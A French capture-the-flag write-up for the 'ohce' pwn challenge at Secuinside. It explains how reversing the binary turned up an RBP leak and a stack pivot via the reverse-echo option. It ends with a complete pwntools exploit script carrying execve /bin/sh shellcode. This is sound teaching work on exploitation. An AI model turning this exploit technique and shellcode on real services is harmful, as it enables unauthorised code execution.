Secuinside est une conférence sur la sécurité informatique organisée par Hackers Reunion, qui propose chaque année un CTF sous la forme d’un Jeopardy. Cet article détaille la résolution du premier challenge de pwn.
Sommaire
- État des lieux
- Reverse
- La vulnérabilité
- Exploit
Etat des lieux
Ohce est un challenge de type pwn, le binaire et l’ip du service distant étaient fournis dans l’énoncé. Selon la commande file le fichier est un exécutable compilé en 64 bits pour Linux.
$ file ohce
ohce: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
On lance l’exécutable. Celui-ci propose un menu avec 3 options :
-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
> 1
aaa
aaa
-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
> 2
abcd
dcba
-----------------
1. echo
2. echo(Reverse)
3. Exit
-----------------
> 3
Après avoir joué avec l’option echo et echo (Reverse) rien ne paraît exploitable nous allons donc reverser le programme.
Reverse
Nous allons étudier la fonction qui permet à l’utilisateur de saisir une chaîne de caractères.
Comme le montrent les deux images suivantes, la fonction utilise un buffer de 32 caractères qu’elle initialise avec des octets nuls. Elle lit ensuite les caractères un par un avec l’appel système sys_read, tant que le caractère n’est pas un retour à la ligne on boucle.
On peut donc se demander que se passe-t-il lorsqu’on entre plus de 32 caractères ?
Les deux images suivantes montrent qu’un test est effectué sur le nombre de caractère lu. Si l’on insère plus de 32 caractères, le programme agrandit la pile via l’instruction sub rsp,0x20 ce qui prépare une nouvelle zone de 32 octets.
Le bloc de code suivant montre que les 32 caractères du premier buffer sont recopiés dans cette nouvelle zone. On en déduit que le programme gère les caractères saisis par l’utilisateur par blocs de 32 octets. A chaque bloc saisi, la stack frame de la fonction s’agrandit, et chaque bloc descend de 32 octets vers le bas. Le premier bloc (buffer) est ensuite rempli de zéro pour les prochains caractères à saisir.
La vulnérabilité
Reprenons le schéma précédent avec quelques ajouts dus aux toutes premières instructions de la fonction qui prépare la stack frame.
La fonction n’ajoute pas un caractère nul pour terminer la chaîne de caractères. Donc si on insère 32 octets tout pile, on peut leaker la valeur de RBP. Cela ne nous permet pas de prendre le contrôle du flux d’éxecution.
Cependant le programme propose une deuxième option nommée “echo (Reverse)”, qui affiche la chaîne à l’envers.
Comme le montre le code suivant, le programme inverse la chaîne de caractères en mémoire avant de l’afficher. Donc voici ce qui va se passer :
les premiers caractères insérés se retrouvent à la place de la valeur de RBP sauvée dans la pile.
Par conséquent on va pouvoir changer RBP (pop rbp dans la fonction reverse), et donc influer sur les instructions suivantes de echo_reverse :
mov rsp,rbp
pop rbp
retn
Exploitation
En contrôlant RBP on contrôle RSP. Par conséquent on peut faire pointer le sommet de la pile à un endroit où l’on aurait placé une fausse adresse de retour. Cependant pour que cela fonctionne il faut 32 octets non nuls pour déclencher la vulnérabilité. Pour contourner cela on peut effectuer un premier echo pour placer notre adresse de retour quelque part dans la pile. Voici le principe :
On réalise un premier echo pour placer l’adresse de retour et notre shellcode en mémoire. Ensuite on remplace Saved RBP, par notre valeur préalablement calculée pour qu’elle pointe sur le payload que l’on a inséré. Le programme réalise ensuite mov rsp,rbp ce qui a pour effet de faire pointer RSP du “Fake RBP”. Ensuite pop rbp, rbp prend la valeur “Fake RBP”. Puis vient le ret qui redirige le flux d’execution du programme sur notre shellcode.
Le code source de l’exploit est un peu différent de ce qui est décrit au-dessus. Le shellcode se trouve après Fake RBP, et il y a un peu plus de padding mais le concept reste le même.
#!/usr/bin/python
from pwn import *
#SHELLCODE="\xc3"
SHELLCODE="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
ROP_offset = 0xb0
# Rajoute des octets nuls tant que la chaine ne fait pas 8 octets
def zero_pad(line):
while len(line) < 8:
line = line+"\x00"
return line
# Supprime les octets nuls et inverse la chaine de caractere
def no_zero(value):
return p64(value).replace("\x00","")[::-1]
p = process(["./ohce"])
print("[+] process id %d " % p.pid) # pour le debug
# On leak la valeur de RBP
p.send("1\n")
p.recvuntil(" >")
p.send("A"*31+"\n")
p.recvline()
# On obtient RBP
line = zero_pad(p.recvline().replace("\n","\x00"))
print(line)
RBP = u64(zero_pad(line)) # RBP
print("RBP = %x" % RBP)
# On calcul l'addresse de notre
RBP_nozero = no_zero(RBP - ROP_offset)
RBPFake = 0xdeadbeefdeadbeef # pop rbp
RIP = RBP - ROP_offset - 0x20 # ret
print("[+] fake frame")
print("RBP = %x" % RBPFake)
print("RIP = %x" % RIP)
# Etape 1 inserer le payload
# -------------
# | |
# | padding |
# | |
# -------------
# | RIP |
# | Fake RBP |
# | Shellcode |
# -------------
p.send("1\n")
p.recvuntil(" >")
p.send(SHELLCODE+"A"*(32-len(SHELLCODE))+p64(RBPFake)+p64(RIP)+p64(0x40011E)+"E"*(32-(8*3))+"D"*32+"C"*32+"B"*32+"A"*31+"\n")
raw_input("pause ...")
# Etape 2 trigger vuln
p.send("2\n")
p.send(RBP_nozero+"A"*(32 - len(RBP_nozero))+"A"*31+"\n")
p.interactive()
p.close()